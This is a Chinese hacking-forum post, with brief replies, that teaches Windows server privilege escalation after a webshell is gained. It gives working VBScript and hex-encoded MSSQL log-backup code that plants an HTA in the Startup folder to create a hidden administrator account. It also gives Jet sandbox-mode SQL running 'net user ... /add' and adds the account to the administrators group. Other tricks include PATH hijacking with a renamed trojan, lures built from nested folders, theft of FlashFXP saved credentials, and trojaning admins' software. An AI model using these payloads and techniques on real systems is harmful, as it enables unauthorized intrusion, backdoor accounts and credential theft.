谢谢奉献谢谢分享
俄。。。 不错 但有点头晕 好动下啊``辛苦了``
技巧提权连连看
现在网络上关于提权的方法五花八门,其实简单的归纳下,就是溢出,第三方软件缺陷,社会工程学提权。而我们今天要探讨的就是提权过程中的一些技巧,掌握了这些技巧可以将我们的webshell快速的转化为终端登陆权限。1. 惯性点击法。此方法充分的利用了人的好奇心,算一点点心理学的应用吧。在我们拿到webshell的情况下,在尝试了溢出或者普通第三方软件的漏洞提权无效的话,我们可以采用这种方法。具体的做法是在管理员会经常浏览的目录,比如管理员桌面,创建一个快捷方式指向我们有权限创建目录的地方。名字可以自己发挥,比如“管理员请看”,“服务器被入侵”等等,然后在该目录下再依次创建相同名字的目录。以5-6个目录的深度为最佳,在最后一个子目录下放置与文件夹图标相同的木马。普遍管理通常会一直双击进入目录,当他产生惯性点击的时候,也就是他双击木马之时。剩下的就是你怎么去处理你已经得到肉鸡。
2. MSSQL备份HTA法。以前曾经流行过DB_OWNER权限备份BAT文件到系统启动项提权法。但是备份BAT文件的成功率一直不高。本质上是因为备份数据库时无论是日志备份还是差异备份都会有大量的其他数据写入到BAT文件中,偏偏BAT文件中命令长度是有限制的。所以备份的成功率很低。而我们却可以备份为HTA文件,HTA文件是HTML Application的缩写,翻译成中文就是HTML应用程序,我们可以用他写个HTA文件,再备份到启动项就可以了。
Code:
<SCRIPT LANGUAGE=\"VBScript\">
set wsnetwork=CreateObject(\"WSCRIPT.NETWORK\")
os=\"WinNT://\"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&\"/Administrators,group\")
Set od=ob.Create(\"user\",\"4lert\")
od.SetPassword \"4lert\"
od.SetInfo
Set of=GetObject(os&\"/4lert\",user)
oe.add os&\"/4lert\"
</Script>
<script language=javascript>window.close();</script>
最终我测试觉得用Wscript.NetWork组件是成功率最高的。前面的代码就是创建一个4lert用户,当然密码也是4lert。然后我们将此代码转换为十六进制,这里就给只给出LOG备份的代码。
Code:
alter database 数据库名 set RECOVERY FULL--
create table 4lert(cmd image)--
backup log数据库名to disk = 'c:\\bak.bak' with init--
insert into cmd(a) values (0x13ADA3C534352495054204C414E47554147453D225642536372697074223EDA7365742077736E6574776F726B3D4372656174654F626A6563742822575343524950542E4E4554574F524B222920DA6F733D2257696E4E543A2F2F222677736E6574776F726B2E436F6D70757465724E616D6520DA536574206F623D4765744F626A656374286F7329DA536574206F653D4765744F626A656374286F7326222F41646D696E6973747261746F72732C67726F75702229DA536574206F643D6F622E437265617465282275736572222C22346C6572742229DA6F642E53657450617373776F72642022346C657274222020DA6F642E536574496E666FDA536574206F663D4765744F626A656374286F7326222F346C657274222C75736572292020DA6F652E616464206F7326222F346C6572742220DA3C2F5363726970743EDA3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743EDA)--
backup log数据库名to disk = 'c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\shit.hta'--
drop table 4lert—
当然这种方法还是有局限性的,大家可以多多扩展。
3. 环境变量的利用。有时候我们在webshell下查看系统变量的时候总能得到一些惊喜,比如系统默认的是Path这个环境变量的值是:%SystemRoot%\\system32;%SystemRoot%;%SystemRoot%\\System32\\Wbem;假如系统装过php的话,那么它的环境变量可能是c:\\php\\;%SystemRoot%\\system32;%SystemRoot%;%SystemRoot%\\System32\\Wbem;那么我们就有机可乘了,因为它的顺序在系统默认的路径前面。那么按照优先级,如果我们执行ipconfig的话,它会先去c:\\php这个目录去查找是否存在ipconfig.exe这个文件。如果文件存在,那么它就会先执行c:\\php这个目录下的ipconfig.exe文件。所以我们就可以上传一个我们的木马,改名为ipconfig.exe,上传到c:\\php目录下,那么当管理员在命令行下运行ipconfig的时候,系统就会执行我们在c:\\php下的木马文件。这样我们也可以获得系统权限。而且相当隐蔽,一般不容易被发现。这也不为是一种提权的好办法。
4. FLASHFXP提权。其实这种方法也是一种很有效的提权手段,从这里我们一般都可以猜出管理员的终端登陆密码。只要在shell上发现FlashFxp的安装目录,即可下载sites.dat, quick.dat, Stats.dat三个文件,然后直接覆盖本地的FlashFxp文件。打开FlashFxp就可以看到管理员登陆过的信息,密码显示为*号可以用星号密码查看器查看。得到密码之后可以进行社工也可以进一步的入侵,怎么样就看大家喜欢了。
5. 服务特权提权。最典型的两个软件应属NetBox和Magic Winmail。他们都是默认以SYSTEM安装的,所以能轻易的调用net添加用户。Magic Winmail在server\\webmail下放置一php木马即可执行net添加用户。
6. 沙盘模式提权。沙盘模式可以解决XP_cmdshell扩展存储过程和或者其他存储过程不能使用的情况。系统默认情况下沙盘模式未开启,所以我们需要xp_regwrite开启沙盘模式。
Code:
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Jet\\4.0
\\Engines','SandBoxMode','REG_DWORD',1
执行命令,添加一个用户名为4lert密码为4lert的帐户
Code:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\\windows
\\system32\\ias\\ias.mdb','select shell(\"cmd.exe /c net user test 1234 /add\")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\\windows
\\system32\\ias\\ias.mdb','select shell(\"cmd.exe /c net localgroup
administrators test /add\")')
7. 捆绑管理员常用软件提权。假如webshell权限稍大,又没有什么第三方软件漏洞可以利用,那么我们可以查看管理员的桌面或者开始菜单,找到你认为管理员会经常用的软件,下载快捷方式即可以找到安装目录。如果对该目录有修改权限,则可以对该软件进行捆绑。那么我们只要等管理员上线运行我们捆绑过的软件即可。这种方法有点投机取巧的嫌疑,但也不为是一种特色的提权办法。
上面的提权方法都是带有一定技巧的方法,利用好了的话那么你就可以快速的获得目标服务器的权限,当然像一些溢出的提权方法就不在本文的范围之内了
页:
[1]